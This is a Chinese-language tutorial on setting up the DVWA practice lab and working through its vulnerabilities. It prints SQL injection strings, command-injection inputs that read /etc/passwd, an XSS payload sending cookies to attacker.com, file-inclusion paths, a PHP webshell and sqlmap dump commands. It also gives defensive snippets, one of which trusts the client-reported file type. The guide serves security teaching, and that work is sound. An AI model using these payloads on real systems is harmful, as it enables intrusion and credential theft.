当前位置：首页 > news >正文

DVWA漏洞靶场实战项目

news 2026/6/28 16:26:02

DVWA漏洞靶场实战项目

一、项目概述

DVWA（Damn Vulnerable Web Application）是一个专门用于安全漏洞学习和测试的PHP/MySQL Web应用。本项目将带你完成DVWA靶场的搭建、配置和漏洞实战演练。

二、环境搭建

1. 准备工作

方案一：使用Docker（推荐）

# 拉取DVWA镜像docker pull vulnerables/web-dvwa# 运行容器docker run -d -p80:80 --name dvwa vulnerables/web-dvwa

方案二：本地安装（XAMPP/WAMP）

下载XAMPP：https://www.apachefriends.org/
下载DVWA：https://github.com/digininja/DVWA
将DVWA解压到htdocs目录
启动Apache和MySQL服务

2. 初始化配置

# 访问DVWAhttp://localhost# 点击"Create/Reset Database"创建数据库# 默认登录凭据：# 用户名：admin# 密码：password

三、安全等级设置

Low：无防护，用于学习漏洞原理
Medium：基础防护，需绕过简单过滤
High：较强防护，需高级绕过技巧
Impossible：最佳实践防护

四、核心漏洞实战

1. SQL注入（SQL Injection）

Low等级攻击：

-- 基础注入1' OR '1'='1-- 获取数据库信息1' UNION SELECT user(), database()-- -- 获取表名 1'UNIONSELECTtable_name,2FROMinformation_schema.tablesWHEREtable_schema=database()--

防御措施：

使用参数化查询
对输入进行严格过滤
最小权限原则

2. 命令注入（Command Injection）

攻击示例：

127.0.0.1 && whoami 127.0.0.1 | cat /etc/passwd 127.0.0.1; ls -la

防御措施：

使用白名单验证输入
避免使用系统调用函数
使用安全的API替代

3. 跨站脚本（XSS）

反射型XSS：

<script>alert(document.cookie)</script><svgonload=alert(1)>

存储型XSS：

<script>newImage().src="http://attacker.com/steal?cookie="+document.cookie</script>

防御措施：

输出编码
设置HttpOnly Cookie
使用CSP策略

4. 文件包含（File Inclusion）

本地文件包含：

../../../../etc/passwd php://filter/convert.base64-encode/resource=index.php

远程文件包含：

http://attacker.com/shell.txt

5. 文件上传漏洞

攻击步骤：

创建恶意PHP文件

<?phpsystem($_GET['cmd']);?>

修改文件扩展名绕过检测
访问上传的文件执行命令

五、自动化测试工具实践

1. 使用Burp Suite

配置流程： 1. 设置浏览器代理 2. 拦截HTTP请求 3. 使用Intruder模块进行暴力破解 4. 使用Repeater模块修改请求 5. 使用Scanner自动扫描漏洞

2. 使用SQLMap

# 基础扫描sqlmap -u"http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="PHPSESSID=xxx; security=low"# 获取数据库sqlmap -u<URL>--cookie=<COOKIE>--dbs# 获取表名sqlmap -u<URL>--cookie=<COOKIE>-D dvwa --tables# 获取数据sqlmap -u<URL>--cookie=<COOKIE>-D dvwa -Tusers--dump

六、实战演练任务清单

漏洞类型	难度	任务要求	完成状态
SQL注入	Low	获取所有用户信息	□
SQL注入	Medium	绕过过滤获取数据	□
XSS反射型	Low	弹出当前Cookie	□
XSS存储型	Medium	窃取管理员Cookie	□
文件上传	High	上传WebShell并执行命令	□
CSRF	Medium	构造恶意页面修改密码	□

七、防御代码示例

1. 安全的SQL查询（PHP）

// 使用预处理语句$stmt=$pdo->prepare("SELECT * FROM users WHERE id = :id");$stmt->execute(['id'=>$userId]);$result=$stmt->fetchAll();

2. XSS防护

// 输出编码echohtmlspecialchars($user_input,ENT_QUOTES,'UTF-8');// 设置CSP头header("Content-Security-Policy: default-src 'self'");

3. 安全的文件上传

// 检查文件类型$allowed_types=['image/jpeg','image/png'];if(!in_array($_FILES['file']['type'],$allowed_types)){die("Invalid file type");}// 重命名文件$new_filename=uniqid().'.'.$extension;